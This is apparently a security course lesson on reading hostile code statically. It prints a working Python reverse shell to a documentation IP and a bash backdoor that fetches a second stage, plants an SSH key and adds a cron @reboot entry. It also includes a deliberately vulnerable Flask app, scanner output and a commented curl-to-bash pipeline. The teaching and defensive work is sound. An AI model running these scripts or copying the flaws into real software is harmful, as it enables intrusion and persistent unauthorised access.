Zum Hauptinhalt springen

Offensive code analysis — Guided walkthrough

Three objects, zero payload execution. First a Python reverse shell read line by line. Then a bash automation script that persists. Finally a small Flask application put through Semgrep, Bandit and Gitleaks, with the output you must know how to read.

None of this runs

The Python and bash snippets below are objects of study. You open them in the editor. You do not interpret them, you do not curl | bash them, you do not open a listener "to check." The Flask application is a local lab: you run the analyzers on it, not payloads against a third party.

What you will be able to do after this lesson

  • Annotate a reverse shell and a persistence script without running them.
  • Decode a base64 string in a scratchpad, then file it in the threat model.
  • Install and run bandit, semgrep and gitleaks on a local repository.
  • Tell apart, in the output, a sample secret, a real primitive, and noise.
  • Write one finding from a line and a tool identifier.

Step 0 — The working folder

Everything happens in a directory that you create. No public exploit clone is required: you copy the teaching snippets by hand, which avoids importing a hidden second stage inside a zip.

mkdir -p ~/analyse-code/{lectures,flask-mini,sorties}
cd ~/analyse-code

Check the tools. On Kali or in a Python venv:

python3 -m pip install --user bandit semgrep
# gitleaks: binary from the official releases, or the Kali package
gitleaks version
bandit --version
semgrep --version

Expected output (version numbers vary):

gitleaks version 8.18.x
bandit 1.7.x
semgrep, version 1.8x.x

If gitleaks is missing, the lab accepts the same secret hunt with Semgrep p/secrets. Do not replace a missing tool with "I'll run the script to see."


Step 1 — Python reverse shell, line by line

Create lectures/reverse_doc.py by copying exactly this. The IP is a documentation address (RFC 5737).

# DO NOT RUN — teaching sample for the course.
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.0.113.7", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

Open it. No python3 lectures/reverse_doc.py.

nl -ba lectures/reverse_doc.py

Commented reading

Lines 2 to 4 — imports. Three modules, three roles. socket: network. subprocess: child processes. os: file descriptors. From the imports on, the script has everything it needs for a reverse shell. No exploit library, no CVE in the name: the danger is in the composition.

Line 6 — socket.socket. Family AF_INET (IPv4), type SOCK_STREAM (TCP). This is not a listener (bind / listen). It is a client. The traffic direction will be outbound.

Line 7 — connect. Hardcoded tuple: 203.0.113.7 port 4444. No DNS, no TLS, no configuration. In a real public sample, replace this IP with the one you read, then whois / classification (documentation, RFC 1918, VPS, residential). Here we already know: example range, port historically associated with shells.

Lines 8 to 10 — os.dup2. The socket descriptor replaces stdin (0), stdout (1), stderr (2). Everything the shell reads or writes will pass through the connection. This is the static signature of a Unix reverse shell. A grep dup2 on a repository is often enough to find it.

Line 11 — subprocess.call(["/bin/sh", "-i"]). Argument list, not shell=True. The danger is not an injection: it is the intent. -i forces an interactive shell. No crontab, no file write: no persistence.

Reading sheet (to copy into lectures/fiche-reverse.md)

# Sheet — reverse_doc.py

- Type: TCP client reverse shell
- Required privilege: being able to run Python (local account)
- Network prerequisite: TCP egress to 203.0.113.7:4444
- Payload: interactive /bin/sh, I/O on the socket
- Persistence: none
- Obfuscation: none
- Decision: DO NOT RUN
- Detection: egress alert on 4444; Semgrep / grep rule on dup2 + connect

In four minutes, the threat model is written. That is all the concepts lesson asked for. On to a script that, this time, stays.


Step 2 — Bash automation script

Many "admin" samples are more dangerous than the reverse shell: they claim to be an update. Create lectures/maj_parc.sh:

#!/usr/bin/env bash
# DO NOT RUN — teaching sample.
set -euo pipefail

URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'

curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
chmod 755 /tmp/.maj.sh

mkdir -p "${HOME}/.ssh"
printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
chmod 600 "${HOME}/.ssh/authorized_keys"

(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -

Scan first

grep -nE 'curl|base64|authorized_keys|crontab|chmod|/tmp/' lectures/maj_parc.sh

Output:

5:URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
6:CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
8:curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
9:chmod 755 /tmp/.maj.sh
11:mkdir -p "${HOME}/.ssh"
12:printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
13:chmod 600 "${HOME}/.ssh/authorized_keys"
15:(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -

Four signals from the course, in a single file: encoded URL, authorized_keys write, hidden file in /tmp, crontab @reboot.

Decode, do not download

printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
echo
printf '%s' 'c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll' | base64 -d
echo

Expected output:

https://203.0.113.7/outils/maj.sh
ssh-ed25519 AAAAAAGCrpJXkIAAAEgAAAAIAAAAAgAAAQEduc-cours-pedagogie

The key is a course decoy (it opens nothing). In a real sample, you would note the fingerprint and the comment; you would not add it to your own authorized_keys "to test."

Reading:

BlockIntentPersistence
curl to the decoded URLDownloads a second stage into /tmp/.maj.shThe file survives until cleanup
>> authorized_keysAdds the script author's SSH keyLogin as long as the key stays
crontab @rebootRelaunches the second stage at bootSurvives the reboot

The step 1 reverse shell was noisy and ephemeral. This one is quiet and durable. In a report, this is not a single finding: it is often three (uncontrolled download, SSH persistence, cron persistence), because the client removes them separately.

set -euo pipefail is not a certificate of good character

A polished script (strict bash options, chmod 600) can be a backdoor. Formal hygiene reassures the eye; it says nothing about intent. You judge the writes and the destinations, not the style.


Step 3 — Mini Flask application to scan

Change of object: no longer an exploit, an app. Create flask-mini/app.py. This file is deliberately weak. It is not meant to be served on the network.

# Local lab — do not deploy.
import os
import pickle
import hashlib
import sqlite3
from flask import Flask, request

app = Flask(__name__)

AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DB_PASSWORD = "SuperSecret123!"

@app.route("/user")
def user():
user_id = request.args.get("id", "1")
conn = sqlite3.connect("app.db")
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
return str(cur.fetchone())

@app.route("/ping")
def ping():
host = request.args.get("host", "127.0.0.1")
os.system("ping -c 1 " + host)
return "ok"

@app.route("/load", methods=["POST"])
def load():
return str(pickle.loads(request.data))

@app.route("/hello")
def hello():
name = request.args.get("name", "monde")
return "<h1>Bonjour %s</h1>" % name

@app.route("/login", methods=["POST"])
def login():
password = request.form.get("password", "")
return hashlib.md5(password.encode()).hexdigest()

Three families on one screen: hardcoded secret, injection (SQL, command, XSS), dangerous API (pickle, MD5). That is enough to exercise the three tools. The lab will grow the repository; here you learn to read the output.


Step 4 — Bandit (Python only)

cd ~/analyse-code/flask-mini
bandit -r . -f txt | tee ../sorties/bandit.txt

Expected output (excerpts, order may vary):

Run started...

Test results:
>> Issue: [B105:hardcoded_password_string]
Possible hardcoded password: 'SuperSecret123!'
Severity: Low Confidence: Medium
Location: ./app.py:12

>> Issue: [B608:hardcoded_sql_expressions]
Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: ./app.py:19

>> Issue: [B605:start_process_with_a_shell]
Starting a process with a shell, possible injection.
Severity: High Confidence: High
Location: ./app.py:25

>> Issue: [B301:pickle]
Pickle library appears to be in use, possible security issue.
Severity: Medium Confidence: High
Location: ./app.py:30

>> Issue: [B324:hashlib]
Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
Location: ./app.py:40

Code scanned:
Total lines of code: 35
Total lines skipped (#nosec): 0

Finding severity distribution:
High: 2
Medium: 2
Low: 1

How you read this.

  • B605 and B301: primitives. You open lines 25 and 30, you confirm the concatenated os.system and pickle.loads on request.data. These are high findings, prerequisite = reaching the route.
  • B608: SQLi candidate. Bandit saw the % / formatting. You confirm that user_id comes from request.args — therefore incoming.
  • B324: MD5 on a password. Not an RCE. Impact: weak storage / comparison. Tool severity != business severity: you rewrite the severity in the finding (often medium, high if it is the production hash).
  • B105: SuperSecret123!. A real lab secret. Bandit says nothing about the AKIA... keys: that is not its job. Hence Gitleaks in step 6.
  • Bandit does not mention the XSS on line 35: no Python rule generic and reliable enough. Hence Semgrep.
Stable identifiers

The Bandit codes (B301, B608) are cited in the report. They let the client rerun the same rule after a fix. A "Bandit found something" is not evidence.


Step 5 — Semgrep (Flask, Python, secrets rules)

semgrep --config p/python --config p/flask --config p/secrets \
--quiet --text app.py | tee ../sorties/semgrep.txt

First run: Semgrep downloads the rule sets. Then, typical excerpts:

app.py
19┆ cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
python.flask.security.injection.tainted-sql-string
User-controlled data is used to craft an SQL query.

25┆ os.system("ping -c 1 " + host)
python.flask.security.injection.tainted-os-command
User data flows into a system command.

30┆ return str(pickle.loads(request.data))
python.lang.security.deserialization.pickle.avoid-pickle
Avoid using pickle, which can lead to code execution.

10┆ AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
generic.secrets.security.detected-aws-access-key-id-value

Parallel reading with Bandit. Semgrep cross-checks SQLi, command, pickle. It adds the AWS key and, depending on the rules present, the XSS (render / interpolated HTML response). When two tools cite the same line, the evidence is stronger. When only one speaks, you still open the line: that is the reflex from the concepts lesson.

If p/flask is not available offline, switch to:

semgrep --config auto --quiet --text app.py

--config auto sends path snippets to the Semgrep service to choose rules. On an engagement, prefer local configs (p/python already downloaded, or a rules/ folder). Note the choice in the report: a client may forbid telemetry.


Step 6 — Gitleaks (secrets, no primitives)

Gitleaks does not need the folder to be a Git repo if you pass --no-git:

gitleaks detect --source . --no-git -v --report-path ../sorties/gitleaks.json

Expected output (excerpts):

Finding:     AWS Access Key
Secret: AKIA****************
File: app.py
Line: 10
RuleID: aws-access-key

Finding: Generic API Key / password
Secret: Supe****************
File: app.py
Line: 12
RuleID: generic-api-key

Mandatory qualification. AKIAIOSFODNN7EXAMPLE and wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY are the official examples from the AWS documentation. In this lab, you classify them "sample secret — remove them anyway, the pattern is the right one." In a client repo, the same AKIA form followed by 16 undocumented characters is a leak until revocation is proven.

Gitleaks will say nothing about pickle or os.system. A "Gitleaks only" audit is a leak audit, not a code audit.


Step 7 — One finding, to anchor the gesture

Open sorties/constat-A01.md and write one finding from the pickle line — the cleanest one.

# A-01 — pickle deserialization on an HTTP route

- **Target**: `flask-mini/app.py`, function `load`, route `POST /load`
- **Tools**: Bandit B301, Semgrep `python.lang.security.deserialization.pickle.avoid-pickle`
- **Evidence**:

```python
return str(pickle.loads(request.data))
```

- **Prerequisite**: being able to reach `POST /load` (here: anonymous)
- **Impact**: code execution when loading a pickle object controlled by the HTTP client
- **Remediation**: remove the route, or accept only a safe format (`json.loads` on a bounded schema)
- **Re-check**: `bandit -r .` must no longer cite B301 on this file

You did not send a malicious pickle. The evidence is the line. That is exactly what the report module expects from a code review.


Step 8 — Where reading goes wrong

Three mistakes, seen every session.

Running "just the Flask." flask run on app.py exposes the routes. For this walkthrough it is not needed: the analyzers read the disk. If you serve it, keep it on 127.0.0.1 and do not send payloads. The lab allows the re-scan after a fix, not fuzzing.

Trusting the Bandit summary alone. "High: 2" is not a report. The XSS is absent, so is the AWS key. The summary serves to prioritize which files to open.

Decoding the base64 then piping it.

# Forbidden: this downloads and runs the second stage
# printf '%s' "$URL" | base64 -d | xargs curl | bash

Decoding stops at the text. The reading sheet takes the URL. Nothing else.


Wrap-up

In one session, without running any payload:

  • The reverse shell is a TCP client + dup2 + /bin/sh. Ephemeral, readable, already a finding if you find it in an internal repo.
  • The bash script is a triple persistence (download, SSH, cron) hidden behind two base64 strings.
  • Bandit speaks Python. Semgrep cross-checks and adds Flask / secrets. Gitleaks speaks only about secrets. The three complement each other.
  • A finding fits in one line of code, two tool identifiers, an impact, a fix, a re-scan criterion.

Next lesson: your turn. You build a more complete Flask repo, you run the three tools, you deliver five or six findings, you fix, you re-scan.